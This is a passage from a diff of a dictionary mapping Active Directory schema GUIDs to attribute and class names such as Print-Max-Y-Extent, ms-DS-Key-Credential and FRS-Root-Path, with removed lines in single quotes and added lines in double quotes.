'ba305f70-47e3-11d0-a1a6-00c04fd930c9': 'Print-Max-Y-Extent', - 'e3f3cb4e-0f20-42eb-9703-d2ff26e52667': 'BootFile', - '649ac98d-9b9a-4d41-af6b-f616f2a62e4a': 'ms-DS-Key-Approximate-Last-Logon-Time-Stamp', - 'd167aa4b-8b08-11d2-9939-0000f87a57d4': 'DS-Core-Propagation-Data', - 'e1e9bad7-c6dd-4101-a843-794cec85b038': 'ms-DS-Entry-Time-To-Die', - 'c49b8be8-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-AllowSnapshotFilesFTPDownloading', - '3bcbfcf5-4d3d-11d0-a1a6-00c04fd930c9': 'Print-Media-Ready', - '969d3c79-0e9a-4d95-b0ac-bdde7ff8f3a1': 'NisMapName', - 'f780acc1-56f0-11d1-a9c6-0000f80367c1': 'Application-Settings', - '50776997-3c3d-11d2-90cc-00c04fd91ab1': 'MSMQ-Migrated-User', - 'f0f8ff86-1191-11d0-a060-00aa006c33ed': 'DS-Heuristics', - '9d054a5a-d187-46c1-9d85-42dfc44a56dd': 'ms-DS-ExecuteScriptPassword', - 'c4e311fc-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-ThirdParty', - '244b296f-5abd-11d0-afd2-00c04fd930c9': 'Print-Media-Supported', - '4a95216e-fcc0-402e-b57f-5971626148a9': 'NisMapEntry', - 'ee1f5543-7c2e-476a-8b3f-e11f4af6c498': 'ms-DS-Key-Credential', - 'ee8d0ae0-6f91-11d2-9905-0000f87a57d4': 'DS-UI-Admin-Maximum', - 'b92fd528-38ac-40d4-818d-0433380837c1': 'ms-DS-External-Key', - '4cc4601e-7201-4141-abc8-3e529ae88863': 'ms-TAPI-Conference-Blob', - 'ba305f74-47e3-11d0-a1a6-00c04fd930c9': 'Print-Memory', - '27eebfa2-fbeb-4f8e-aad6-c50247994291': 'msSFU-30-Search-Container', - '19195a5c-6da0-11d0-afd3-00c04fd930c9': 'Application-Site-Settings', - '9a0dc343-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Queue', - '938ad788-225f-4eee-93b9-ad24a159e1db': 'ms-DS-Key-Credential-Link-BL', - 'f6ea0a94-6f91-11d2-9905-0000f87a57d4': 'DS-UI-Admin-Notification', - '604877cd-9cdb-47c7-b03d-3daadb044910': 'ms-DS-External-Store', - 'efd7d7f7-178e-4767-87fa-f8a16b840544': 'ms-TAPI-Ip-Address', - 'ba305f71-47e3-11d0-a1a6-00c04fd930c9': 'Print-Min-X-Extent', - '32ecd698-ce9e-4894-a134-7ad76b082e83': 'msSFU-30-Key-Attributes', - 'bf967aba-0de6-11d0-a285-00aa003049e2': 'User', - 'fcca766a-6f91-11d2-9905-0000f87a57d4': 'DS-UI-Shell-Maximum', - '9b88bda8-dd82-4998-a91d-5f2d2baf1927': 'ms-DS-Optional-Feature-GUID', - '89c1ebcf-7a5f-41fd-99ca-c900b32299ab': 'ms-TAPI-Protocol-Id', - 'ba305f72-47e3-11d0-a1a6-00c04fd930c9': 'Print-Min-Y-Extent', - 'a2e11a42-e781-4ca1-a7fa-ec307f62b6a1': 'msSFU-30-Field-Separator', - 'ddc790ac-af4d-442a-8f0f-a1d4caa7dd92': 'Application-Version', - '9a0dc347-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Settings', - '167757bc-47f3-11d1-a9c3-0000f80367c1': 'DSA-Signature', - 'fb00dcdf-ac37-483a-9c12-ac53a6603033': 'ms-DS-Filter-Containers', - '70a4e7ea-b3b9-4643-8918-e6dd2471bfd4': 'ms-TAPI-Unique-Identifier', - 'ba305f79-47e3-11d0-a1a6-00c04fd930c9': 'Print-Network-Address', - '95b2aef0-27e4-4cb9-880a-a2d9a9ea23b8': 'msSFU-30-Intra-Field-Separator', - '5df2b673-6d41-4774-b3e8-d52e8ee9ff99': 'ms-DS-Device', - '52458021-ca6a-11d0-afff-0000f80367c1': 'Dynamic-LDAP-Server', - '11e9a5bc-4517-4049-af9c-51554fb0fc09': 'ms-DS-Has-Instantiated-NCs', - '6366c0c1-6972-4e66-b3a5-1d52ad0c0547': 'ms-WMI-Author', - 'ba305f6a-47e3-11d0-a1a6-00c04fd930c9': 'Print-Notify', - 'ef9a2df0-2e57-48c8-8950-0cc674004733': 'msSFU-30-Search-Attributes', - '9a0dc346-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-Link', - '5b47d60f-6090-40b2-9f37-2a4de88f3063': 'ms-DS-Key-Credential-Link', - 'bf967961-0de6-11d0-a285-00aa003049e2': 'E-mail-Addresses', - '6f17e347-a842-4498-b8b3-15e007da4fed': 'ms-DS-Has-Domain-NCs', - 'f9cdf7a0-ec44-4937-a79b-cd91522b3aa8': 'ms-WMI-ChangeDate', - '3bcbfcf4-4d3d-11d0-a1a6-00c04fd930c9': 'Print-Number-Up', - 'e167b0b6-4045-4433-ac35-53f972d45cba': 'msSFU-30-Result-Attributes', - 'bf967a81-0de6-11d0-a285-00aa003049e2': 'Builtin-Domain', - '8e4eb2ec-4712-11d0-a1a0-00c04fd930c9': 'EFSPolicy', - 'ae2de0e2-59d7-4d47-8d47-ed4dfe4357ad': 'ms-DS-Has-Master-NCs', - '90c1925f-4a24-4b07-b202-be32eb3c8b74': 'ms-WMI-Class', - '281416d0-1968-11d0-a28f-00aa003049e2': 'Print-Orientations-Supported', - 'b7b16e01-024f-4e23-ad0d-71f1a406b684': 'msSFU-30-Map-Filter', - '19195a60-6da0-11d0-afd3-00c04fd930c9': 'NTDS-Connection', - 'f2699093-f25a-4220-9deb-03df4cc4a9c5': 'Dns-Zone-Scope-Container', - 'bf967962-0de6-11d0-a285-00aa003049e2': 'Employee-ID', - '80641043-15a2-40e1-92a2-8ca866f70776': 'ms-DS-Host-Service-Account', - '2b9c0ebc-c272-45cb-99d2-4d0e691632e0': 'ms-WMI-ClassDefinition', - 'ba305f69-47e3-11d0-a1a6-00c04fd930c9': 'Print-Owner', - '4cc908a2-9e18-410e-8459-f17cc422020a': 'msSFU-30-Master-Server-Name', - '7d6c0e9d-7e20-11d0-afd6-00c04fd930c9': 'Category-Registration', - 'a8df73ef-c5ea-11d1-bbcb-0080c76670c0': 'Employee-Number', - '79abe4eb-88f3-48e7-89d6-f4bc7e98c331': 'ms-DS-Host-Service-Account-BL', - '748b0a2e-3351-4b3f-b171-2f17414ea779': 'ms-WMI-CreationDate', - '19405b97-3cfa-11d1-a9c0-0000f80367c1': 'Print-Pages-Per-Minute', - '02625f05-d1ee-4f9f-b366-55266becb95c': 'msSFU-30-Order-Number', - 'f0f8ffab-1191-11d0-a060-00aa006c33ed': 'NTDS-DSA', - '696f8a61-2d3f-40ce-a4b3-e275dfcc49c5': 'Dns-Zone-Scope', - 'a8df73f0-c5ea-11d1-bbcb-0080c76670c0': 'Employee-Type', - '7bc64cea-c04e-4318-b102-3e0729371a65': 'ms-DS-Integer', - '50c8673a-8f56-4614-9308-9e1340fb9af3': 'ms-WMI-Genus', - 'ba305f77-47e3-11d0-a1a6-00c04fd930c9': 'Print-Rate', - '16c5d1d3-35c2-4061-a870-a5cefda804f0': 'msSFU-30-Name', - '3fdfee50-47f4-11d1-a9c3-0000f80367c1': 'Certification-Authority', - 'a8df73f2-c5ea-11d1-bbcb-0080c76670c0': 'Enabled', - 'bc60096a-1b47-4b30-8877-602c93f56532': 'ms-DS-IntId', - '9339a803-94b8-47f7-9123-a853b9ff7e45': 'ms-WMI-ID', - 'ba305f78-47e3-11d0-a1a6-00c04fd930c9': 'Print-Rate-Unit', - '20ebf171-c69a-4c31-b29d-dcb837d8912d': 'msSFU-30-Aliases', - '85d16ec1-0791-4bc8-8ab3-70980602ff8c': 'NTDS-DSA-RO', - 'e0fa1e8c-9b45-11d0-afdd-00c04fd930c9': 'Dns-Node', - 'bf967963-0de6-11d0-a285-00aa003049e2': 'Enabled-Connection', - '6fabdcda-8c53-204f-b1a4-9df0c67c1eb4': 'ms-DS-Is-Possible-Values-Present', - '1b0c07f8-76dd-4060-a1e1-70084619dc90': 'ms-WMI-intDefault', - '281416c6-1968-11d0-a28f-00aa003049e2': 'Print-Separator-File', - '37830235-e5e9-46f2-922b-d8d44f03e7ae': 'msSFU-30-Key-Values', - 'bf967a82-0de6-11d0-a285-00aa003049e2': 'Class-Registration', - '3417ab48-df24-4fb1-80b0-0fcb367e25e3': 'ms-DS-Expire-Passwords-On-Smart-Card-Only-Accounts', - '2a39c5b3-8960-11d1-aebc-0000f80367c1': 'Enrollment-Providers', - '1df5cf33-0fe5-499e-90e1-e94b42718a46': 'ms-DS-isGC', - '18e006b9-6445-48e3-9dcf-b5ecfbc4df8e': 'ms-WMI-intFlags1', - 'ba305f68-47e3-11d0-a1a6-00c04fd930c9': 'Print-Share-Name', - '9ee3b2e3-c7f3-45f8-8c9f-1382be4984d2': 'msSFU-30-Nis-Domain', - '19195a5f-6da0-11d0-afd3-00c04fd930c9': 'NTDS-Service', - '65650576-4699-4fc9-8d18-26e0cd0137a6': 'ms-DS-Token-Group-Names', - 'd213decc-d81a-4384-aac2-dcfcfd631cf8': 'Entry-TTL', - 'a8e8aa23-3e67-4af1-9d7a-2f1a1d633ac9': 'ms-DS-isRODC', - '075a42c9-c55a-45b1-ac93-eb086b31f610': 'ms-WMI-intFlags2', - 'ba305f6c-47e3-11d0-a1a6-00c04fd930c9': 'Print-Spooling', - '93095ed3-6f30-4bdd-b734-65d569f5f7c9': 'msSFU-30-Domains', - 'fa06d1f4-7922-4aad-b79c-b2201f54417c': 'ms-DS-Token-Group-Names-Global-And-Universal', - '9a7ad947-ca53-11d1-bbd0-0080c76670c0': 'Extended-Attribute-Info', - '8ab15858-683e-466d-877f-d640e1f9a611': 'ms-DS-Last-Known-RDN', - 'f29fa736-de09-4be4-b23a-e734c124bacc': 'ms-WMI-intFlags3', - 'ba305f73-47e3-11d0-a1a6-00c04fd930c9': 'Print-Stapling-Supported', - '084a944b-e150-4bfe-9345-40e1aedaebba': 'msSFU-30-Yp-Servers', - 'bf967a84-0de6-11d0-a285-00aa003049e2': 'Class-Store', - '19195a5d-6da0-11d0-afd3-00c04fd930c9': 'NTDS-Site-Settings', - '523fc6c8-9af4-4a02-9cd7-3dea129eeb27': 'ms-DS-Token-Group-Names-No-GC-Acceptable', - 'bf967966-0de6-11d0-a285-00aa003049e2': 'Extended-Chars-Allowed', - 'c523e9c0-33b5-4ac8-8923-b57b927f42f6': 'ms-DS-KeyVersionNumber', - 'bd74a7ac-c493-4c9c-bdfa-5c7b119ca6b2': 'ms-WMI-intFlags4', - '281416c9-1968-11d0-a28f-00aa003049e2': 'Print-Start-Time', - '04ee6aa6-f83b-469a-bf5a-3c00d3634669': 'msSFU-30-Max-Gid-Number', - '9a7ad948-ca53-11d1-bbd0-0080c76670c0': 'Extended-Class-Info', - 'ad7940f8-e43a-4a42-83bc-d688e59ea605': 'ms-DS-Logon-Time-Sync-Interval', - 'fb920c2c-f294-4426-8ac1-d24b42aa2bce': 'ms-WMI-intMax', - 'ba305f6b-47e3-11d0-a1a6-00c04fd930c9': 'Print-Status', - 'ec998437-d944-4a28-8500-217588adfc75': 'msSFU-30-Max-Uid-Number', - 'bf967a85-0de6-11d0-a285-00aa003049e2': 'Com-Connection-Point', - '2a132586-9373-11d1-aebc-0000f80367c1': 'NTFRS-Member', - 'bf967ab0-0de6-11d0-a285-00aa003049e2': 'Security-Principal', - 'bf967972-0de6-11d0-a285-00aa003049e2': 'Extension-Name', - '60234769-4819-4615-a1b2-49d2f119acb5': 'ms-DS-Mastered-By', - '68c2e3ba-9837-4c70-98e0-f0c33695d023': 'ms-WMI-intMin', - '244b296e-5abd-11d0-afd2-00c04fd930c9': 'Printer-Name', - '585c9d5e-f599-4f07-9cf9-4373af4b89d3': 'msSFU-30-NSMAP-Field-Position', - '7ece040f-9327-4cdc-aad3-037adfe62639': 'ms-DS-User-Allowed-NTLM-Network-Authentication', - 'd24e2846-1dd9-4bcf-99d7-a6227cc86da7': 'Extra-Columns', - 'fdd337f5-4999-4fce-b252-8ff9c9b43875': 'ms-DS-Maximum-Password-Age', - '6af565f6-a749-4b72-9634-3c5d47e6b4e0': 'ms-WMI-intValidValues', - 'bf967a01-0de6-11d0-a285-00aa003049e2': 'Prior-Set-Time', - 'c875d82d-2848-4cec-bb50-3c5486d09d57': 'msSFU-30-Posix-Member', - 'bf967a86-0de6-11d0-a285-00aa003049e2': 'Computer', - '5245803a-ca6a-11d0-afff-0000f80367c1': 'NTFRS-Replica-Set', - '278947b9-5222-435e-96b7-1503858c2b48': 'ms-DS-Service-Allowed-NTLM-Network-Authentication', - 'bf967974-0de6-11d0-a285-00aa003049e2': 'Facsimile-Telephone-Number', - '2a74f878-4d9c-49f9-97b3-6767d1cbd9a3': 'ms-DS-Minimum-Password-Age', - 'f4d8085a-8c5b-4785-959b-dc585566e445': 'ms-WMI-int8Default', - 'bf967a02-0de6-11d0-a285-00aa003049e2': 'Prior-Value', - '7bd76b92-3244-438a-ada6-24f5ea34381e': 'msSFU-30-Posix-Member-Of', - 'aacd2170-482a-44c6-b66e-42c2f66a285c': 'ms-DS-Strong-NTLM-Policy', - 'd9e18315-8939-11d1-aebc-0000f80367c1': 'File-Ext-Priority', - 'b21b3439-4c3a-441c-bb5f-08f20e9b315e': 'ms-DS-Minimum-Password-Length', - 'e3d8b547-003d-4946-a32b-dc7cedc96b74': 'ms-WMI-int8Max', - '281416c7-1968-11d0-a28f-00aa003049e2': 'Priority', - '97d2bf65-0466-4852-a25a-ec20f57ee36c': 'msSFU-30-Netgroup-Host-At-Domain', - 'bf967a87-0de6-11d0-a285-00aa003049e2': 'Configuration', - 'f780acc2-56f0-11d1-a9c6-0000f80367c1': 'NTFRS-Settings', - 'bf967976-0de6-11d0-a285-00aa003049e2': 'Flags', - 'f9c9a57c-3941-438d-bebf-0edaf2aca187': 'ms-DS-OIDToGroup-Link', - 'ed1489d1-54cc-4066-b368-a00daa2664f1': 'ms-WMI-int8Min', - 'bf967a03-0de6-11d0-a285-00aa003049e2': 'Private-Key', - 'a9e84eed-e630-4b67-b4b3-cad2a82d345e': 'msSFU-30-Netgroup-User-At-Domain', - 'ab6a1156-4dc7-40f5-9180-8e4ce42fe5cd': 'ms-DS-AuthN-Policy', - 'b7b13117-b82e-11d0-afee-0000f80367c1': 'Flat-Name', - '1a3d0d20-5844-4199-ad25-0f5039a76ada': 'ms-DS-OIDToGroup-Link-BL', - '103519a9-c002-441b-981a-b0b3e012c803': 'ms-WMI-int8ValidValues', - '19405b9a-3cfa-11d1-a9c0-0000f80367c1': 'Privilege-Attributes', - '0dea42f5-278d-4157-b4a7-49b59664915b': 'msSFU-30-Is-Valid-Container', - '5cb41ecf-0e4c-11d0-a286-00aa003049e2': 'Connection-Point', - '2a132588-9373-11d1-aebc-0000f80367c1': 'NTFRS-Subscriber', - 'b002f407-1340-41eb-bca0-bd7d938e25a9': 'ms-DS-Source-Anchor', - 'bf967977-0de6-11d0-a285-00aa003049e2': 'Force-Logoff', - 'fed81bb7-768c-4c2f-9641-2245de34794d': 'ms-DS-Password-History-Length', - '6736809f-2064-443e-a145-81262b1f1366': 'ms-WMI-Mof', - '19405b98-3cfa-11d1-a9c0-0000f80367c1': 'Privilege-Display-Name', - '4503d2a3-3d70-41b8-b077-dff123c15865': 'msSFU-30-Crypt-Method', - '5cb41ed0-0e4c-11d0-a286-00aa003049e2': 'Contact', - '34f6bdf5-2e79-4c3b-8e14-3d93b75aab89': 'ms-DS-Object-SOA', - '3e97891e-8c01-11d0-afda-00c04fd930c9': 'Foreign-Identifier', - 'db68054b-c9c3-4bf0-b15b-0fb52552a610': 'ms-DS-Password-Complexity-Enabled', - 'c6c8ace5-7e81-42af-ad72-77412c5941c4': 'ms-WMI-Name', - '19405b9b-3cfa-11d1-a9c0-0000f80367c1': 'Privilege-Holder', - 'e65c30db-316c-4060-a3a0-387b083f09cd': 'ms-TS-Profile-Path', - 'bf967aa7-0de6-11d0-a285-00aa003049e2': 'Person', - '2a132587-9373-11d1-aebc-0000f80367c1': 'NTFRS-Subscriptions', - '7bfdcb88-4807-11d1-a9c3-0000f80367c1': 'Friendly-Names', - '75ccdd8f-af6c-4487-bb4b-69e4d38a959c': 'ms-DS-Password-Reversible-Encryption-Enabled', - 'eaba628f-eb8e-4fe9-83fc-693be695559b': 'ms-WMI-NormalizedClass', - '19405b99-3cfa-11d1-a9c0-0000f80367c1': 'Privilege-Value', - '5d3510f0-c4e7-4122-b91f-a20add90e246': 'ms-TS-Home-Directory', - 'bf967ab7-0de6-11d0-a285-00aa003049e2': 'Top', - '9a7ad949-ca53-11d1-bbd0-0080c76670c0': 'From-Entry', - '94f2800c-531f-4aeb-975d-48ac39fd8ca4': 'ms-DS-Local-Effective-Deletion-Time', - '27e81485-b1b0-4a8b-bedd-ce19a837e26e': 'ms-WMI-Parm1', - 'd9e18317-8939-11d1-aebc-0000f80367c1': 'Product-Code', - '5f0a24d9-dffa-4cd9-acbf-a0680c03731e': 'ms-TS-Home-Drive', - 'bf967a8b-0de6-11d0-a285-00aa003049e2': 'Container', - 'bf967aa3-0de6-11d0-a285-00aa003049e2': 'Organization', - 'bf967979-0de6-11d0-a285-00aa003049e2': 'From-Server', - '4ad6016b-b0d2-4c9b-93b6-5964b17b968c': 'ms-DS-Local-Effective-Recycle-Time', - '0003508e-9c42-4a76-a8f4-38bf64bab0de': 'ms-WMI-Parm2', - 'bf967a05-0de6-11d0-a285-00aa003049e2': 'Profile-Path', - '3a0cd464-bc54-40e7-93ae-a646a6ecc4b4': 'ms-TS-Allow-Logon', - 'bf967aa4-0de6-11d0-a285-00aa003049e2': 'Organizational-Person', - 'bf967a90-0de6-11d0-a285-00aa003049e2': 'Sam-Domain', - '2a132578-9373-11d1-aebc-0000f80367c1': 'Frs-Computer-Reference', - 'b05bda89-76af-468a-b892-1be55558ecc8': 'ms-DS-Lockout-Observation-Window', - '45958fb6-52bd-48ce-9f9f-c2712d9f2bfc': 'ms-WMI-Parm3', - 'e1aea402-cd5b-11d0-afff-0000f80367c1': 'Proxied-Object-Name', - '15177226-8642-468b-8c48-03ddfd004982': 'ms-TS-Remote-Control', - '8297931e-86d3-11d0-afda-00c04fd930c9': 'Control-Access-Right', - '2a132579-9373-11d1-aebc-0000f80367c1': 'Frs-Computer-Reference-BL', - '421f889a-472e-4fe4-8eb9-e1d0bc6071b2': 'ms-DS-Lockout-Duration', - '3800d5a3-f1ce-4b82-a59a-1528ea795f59': 'ms-WMI-Parm4', - 'bf967a06-0de6-11d0-a285-00aa003049e2': 'Proxy-Addresses', - '326f7089-53d8-4784-b814-46d8535110d2': 'ms-TS-Max-Disconnection-Time', - 'a8df74bf-c5ea-11d1-bbcb-0080c76670c0': 'Organizational-Role', - '2a13257a-9373-11d1-aebc-0000f80367c1': 'FRS-Control-Data-Creation', - 'b8c8c35e-4a19-4a95-99d0-69fe4446286f': 'ms-DS-Lockout-Threshold', - 'ab920883-e7f8-4d72-b4a0-c0449897509d': 'ms-WMI-PropertyName', - '5fd424d6-1262-11d0-a060-00aa006c33ed': 'Proxy-Generation-Enabled', - '1d960ee2-6464-4e95-a781-e3b5cd5f9588': 'ms-TS-Max-Connection-Time', - 'bf967a8c-0de6-11d0-a285-00aa003049e2': 'Country', - '2a13257b-9373-11d1-aebc-0000f80367c1': 'FRS-Control-Inbound-Backlog', - '64c80f48-cdd2-4881-a86d-4e97b6f561fc': 'ms-DS-PSO-Applies-To', - '65fff93e-35e3-45a3-85ae-876c6718297f': 'ms-WMI-Query', - 'bf967a07-0de6-11d0-a285-00aa003049e2': 'Proxy-Lifetime', - 'ff739e9c-6bb7-460e-b221-e250f3de0f95': 'ms-TS-Max-Idle-Time', - 'bf967aa5-0de6-11d0-a285-00aa003049e2': 'Organizational-Unit', - '2a13257c-9373-11d1-aebc-0000f80367c1': 'FRS-Control-Outbound-Backlog', - '5e6cf031-bda8-43c8-aca4-8fee4127005b': 'ms-DS-PSO-Applied', - '7d3cfa98-c17b-4254-8bd7-4de9b932a345': 'ms-WMI-QueryLanguage', - '80a67e28-9f22-11d0-afdd-00c04fd930c9': 'Public-Key-Policy', - '366ed7ca-3e18-4c7f-abae-351a01e4b4f7': 'ms-TS-Reconnection-Action', - '167758ca-47f3-11d1-a9c3-0000f80367c1': 'CRL-Distribution-Point', - '1be8f171-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Directory-Filter', - 'eadd3dfe-ae0e-4cc2-b9b9-5fe5b6ed2dd2': 'ms-DS-Required-Domain-Behavior-Version', - '87b78d51-405f-4b7f-80ed-2bd28786f48d': 'ms-WMI-ScopeGuid', - 'b4b54e50-943a-11d1-aebd-0000f80367c1': 'Purported-Search', - '1cf41bba-5604-463e-94d6-1a1287b72ca3': 'ms-TS-Broken-Connection-Action', - 'bf967aa6-0de6-11d0-a285-00aa003049e2': 'Package-Registration', - '1be8f177-a9ff-11d0-afe2-00c04fd930c9': 'FRS-DS-Poll', - '4beca2e8-a653-41b2-8fee-721575474bec': 'ms-DS-Required-Forest-Behavior-Version', - '34f7ed6c-615d-418d-aa00-549a7d7be03e': 'ms-WMI-SourceOrganization', - 'bf967a09-0de6-11d0-a285-00aa003049e2': 'Pwd-History-Length', - '23572aaf-29dd-44ea-b0fa-7e8438b9a4a3': 'ms-TS-Connect-Client-Drives', - 'bf967a8d-0de6-11d0-a285-00aa003049e2': 'Cross-Ref', - '52458020-ca6a-11d0-afff-0000f80367c1': 'FRS-Extensions', - 'b77ea093-88d0-4780-9a98-911f8e8b1dca': 'ms-DS-Resultant-PSO', - '152e42b6-37c5-4f55-ab48-1606384a9aea': 'ms-WMI-stringDefault', - 'bf967a0a-0de6-11d0-a285-00aa003049e2': 'Pwd-Last-Set', - '8ce6a937-871b-4c92-b285-d99d4036681c': 'ms-TS-Connect-Printer-Drives', - '1be8f178-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Fault-Condition', - '456374ac-1f0a-4617-93cf-bc55a7c9d341': 'ms-DS-Password-Settings-Precedence', - '37609d31-a2bf-4b58-8f53-2b64e57a076d': 'ms-WMI-stringValidValues', - 'bf967a0b-0de6-11d0-a285-00aa003049e2': 'Pwd-Properties', - 'c0ffe2bd-cacf-4dc7-88d5-61e9e95766f6': 'ms-TS-Default-To-Main-Printer', - 'ef9e60e0-56f7-11d1-a9c6-0000f80367c1': 'Cross-Ref-Container', - 'b7b13122-b82e-11d0-afee-0000f80367c1': 'Physical-Location', - '1be8f170-a9ff-11d0-afe2-00c04fd930c9': 'FRS-File-Filter', - 'd1e169a4-ebe9-49bf-8fcb-8aef3874592d': 'ms-DS-Max-Values', - '95b6d8d6-c9e8-4661-a2bc-6a5cabc04c62': 'ms-WMI-TargetClass', - '80a67e4e-9f22-11d0-afdd-00c04fd930c9': 'Quality-Of-Service', - 'a744f666-3d3c-4cc8-834b-9d4f6f687b8b': 'ms-TS-Work-Directory', - '2a13257d-9373-11d1-aebc-0000f80367c1': 'FRS-Flags', - 'cbf7e6cd-85a4-4314-8939-8bfe80597835': 'ms-DS-Members-For-Az-Role', - '1c4ab61f-3420-44e5-849d-8b5dbf60feb7': 'ms-WMI-TargetNameSpace', - 'cbf70a26-7e78-11d2-9921-0000f87a57d4': 'Query-Filter', - '9201ac6f-1d69-4dfb-802e-d95510109599': 'ms-TS-Initial-Program', - 'bf967a8e-0de6-11d0-a285-00aa003049e2': 'Device', - 'e5209ca2-3bba-11d2-90cc-00c04fd91ab1': 'PKI-Certificate-Template', - '5245801e-ca6a-11d0-afff-0000f80367c1': 'FRS-Level-Limit', - 'ececcd20-a7e0-4688-9ccf-02ece5e287f5': 'ms-DS-Members-For-Az-Role-BL', - 'c44f67a5-7de5-4a1f-92d9-662b57364b77': 'ms-WMI-TargetObject', - 'e1aea404-cd5b-11d0-afff-0000f80367c1': 'Query-Policy-BL', - '40e1c407-4344-40f3-ab43-3625a34a63a2': 'ms-TS-Endpoint-Data', - '2a13257e-9373-11d1-aebc-0000f80367c1': 'FRS-Member-Reference', - '5a2eacd7-cc2b-48cf-9d9a-b6f1a0024de9': 'ms-DS-NC-Type', - '5006a79a-6bfe-4561-9f52-13cf4dd3e560': 'ms-WMI-TargetPath', - 'e1aea403-cd5b-11d0-afff-0000f80367c1': 'Query-Policy-Object', - '377ade80-e2d8-46c5-9bcd-6d9dec93b35e': 'ms-TS-Endpoint-Type', - '8447f9f2-1027-11d0-a05f-00aa006c33ed': 'Dfs-Configuration', - 'ee4aa692-3bba-11d2-90cc-00c04fd91ab1': 'PKI-Enrollment-Service', - '2a13257f-9373-11d1-aebc-0000f80367c1': 'FRS-Member-Reference-BL', - 'cafcb1de-f23c-46b5-adf7-1e64957bd5db': 'ms-DS-Non-Members', - 'ca2a281e-262b-4ff7-b419-bc123352a4e9': 'ms-WMI-TargetType', - '7bfdcb86-4807-11d1-a9c3-0000f80367c1': 'QueryPoint', - '3c08b569-801f-4158-b17b-e363d6ae696a': 'ms-TS-Endpoint-Plugin', + "2a132580-9373-11d1-aebc-0000f80367c1": "FRS-Partner-Auth-Level", + "2a8c68fc-3a7a-4e87-8720-fe77c51cbe74": "ms-DS-Non-Members-BL", + "963d2751-48be-11d1-a9c3-0000f80367c1": "Mscope-Id", + "bf967a0c-0de6-11d0-a285-00aa003049e2": "Range-Lower", + "29259694-09e4-4237-9f72-9306ebe63ab2": "ms-TS-Primary-Desktop", + "963d2756-48be-11d1-a9c3-0000f80367c1": "DHCP-Class", + "1562a632-44b9-4a7e-a2d3-e426c96a3acc": "ms-PKI-Private-Key-Recovery-Agent", + "2a132581-9373-11d1-aebc-0000f80367c1": "FRS-Primary-Member", + "4b1cba4e-302f-4134-ac7c-f01f6c797843": "ms-DS-Phonetic-First-Name", + "7bfdcb7d-4807-11d1-a9c3-0000f80367c1": "Msi-File-List", + "bf967a0d-0de6-11d0-a285-00aa003049e2": "Range-Upper", + "f63aa29a-bb31-48e1-bfab-0a6c5a1d39c2": "ms-TS-Secondary-Desktops", + "5245801a-ca6a-11d0-afff-0000f80367c1": "FRS-Replica-Set-GUID", + "f217e4ec-0836-4b90-88af-2f5d4bbda2bc": "ms-DS-Phonetic-Last-Name", + "d9e18313-8939-11d1-aebc-0000f80367c1": "Msi-Script", + "bf967a0e-0de6-11d0-a285-00aa003049e2": "RDN", + "9daadc18-40d1-4ed1-a2bf-6b9bf47d3daa": "ms-TS-Primary-Desktop-BL", + "e0fa1e8a-9b45-11d0-afdd-00c04fd930c9": "Display-Specifier", + "bf967aa8-0de6-11d0-a285-00aa003049e2": "Print-Queue", + "bf967a8f-0de6-11d0-a285-00aa003049e2": "DMD", + "26d9736b-6070-11d1-a9c6-0000f80367c1": "FRS-Replica-Set-Type", + "6cd53daf-003e-49e7-a702-6fa896e7a6ef": "ms-DS-Phonetic-Department", + "96a7dd62-9118-11d1-aebc-0000f80367c1": "Msi-Script-Name", + "bf967a0f-0de6-11d0-a285-00aa003049e2": "RDN-Att-ID", + "34b107af-a00a-455a-b139-dd1a1b12d8af": "ms-TS-Secondary-Desktop-BL", + "1be8f174-a9ff-11d0-afe2-00c04fd930c9": "FRS-Root-Path", + "5bd5208d-e5f4-46ae-a514-543bc9c47659": "ms-DS-Phonetic-Company-Name", + "bf967937-0de6-11d0-a285-00aa003049e2": "Msi-Script-Path", + "bf967a10-0de6-11d0-a285-00aa003049e2": "Registered-Address", + "faaea977-9655-49d7-853d-f27bb7aaca0f": "MS-TS-Property01", + "5fd4250c-1262-11d0-a060-00aa006c33ed": "Display-Template", + "83cc7075-cca7-11d0-afff-0000f80367c1": "Query-Policy", + "5a8b3261-c38d-11d1-bbc9-0080c76670c0": "SubSchema", + "5245801f-ca6a-11d0-afff-0000f80367c1": "FRS-Root-Security", + "e21a94e4-2d66-4ce5-b30d-0ef87a776ff0": "ms-DS-Phonetic-Display-Name", + "96a7dd63-9118-11d1-aebc-0000f80367c1": "Msi-Script-Size", + "bf967a12-0de6-11d0-a285-00aa003049e2": "Remote-Server-Name", + "3586f6ac-51b7-4978-ab42-f936463198e7": "MS-TS-Property02", + "bf967915-0de6-11d0-a285-00aa003049e2": "Account-Expires", + "ddac0cee-af8f-11d0-afeb-00c04fd930c9": "FRS-Service-Command", + "def449f1-fd3b-4045-98cf-d9658da788b5": "ms-DS-HAB-Seniority-Index", + "9a0dc326-c100-11d1-bbc5-0080c76670c0": "MSMQ-Authenticate", + "bf967a14-0de6-11d0-a285-00aa003049e2": "Remote-Source", + "70004ef5-25c3-446a-97c8-996ae8566776": "MS-TS-ExpireDate", + "bf967aa9-0de6-11d0-a285-00aa003049e2": "Remote-Mail-Recipient", + "bf967a80-0de6-11d0-a285-00aa003049e2": "Attribute-Schema", + "2a132582-9373-11d1-aebc-0000f80367c1": "FRS-Service-Command-Status", + "c881b4e2-43c0-4ebe-b9bb-5250aa9b434c": "ms-DS-Promotion-Settings", + "9a0dc323-c100-11d1-bbc5-0080c76670c0": "MSMQ-Base-Priority", + "bf967a15-0de6-11d0-a285-00aa003049e2": "Remote-Source-Type", + "54dfcf71-bc3f-4f0b-9d5a-4b2476bb8925": "MS-TS-ExpireDate2", + "e0fa1e8b-9b45-11d0-afdd-00c04fd930c9": "Dns-Zone", + "031952ec-3b72-11d2-90cc-00c04fd91ab1": "Account-Name-History", + "1be8f175-a9ff-11d0-afe2-00c04fd930c9": "FRS-Staging-Path", + "98a7f36d-3595-448a-9e6f-6b8965baed9c": "ms-DS-SiteName", + "9a0dc32e-c100-11d1-bbc5-0080c76670c0": "MSMQ-Computer-Type", + "2a39c5b0-8960-11d1-aebc-0000f80367c1": "Remote-Storage-GUID", + "41bc7f04-be72-4930-bd10-1f3439412387": "MS-TS-ExpireDate3", + "2a39c5bd-8960-11d1-aebc-0000f80367c1": "Remote-Storage-Service-Point", + 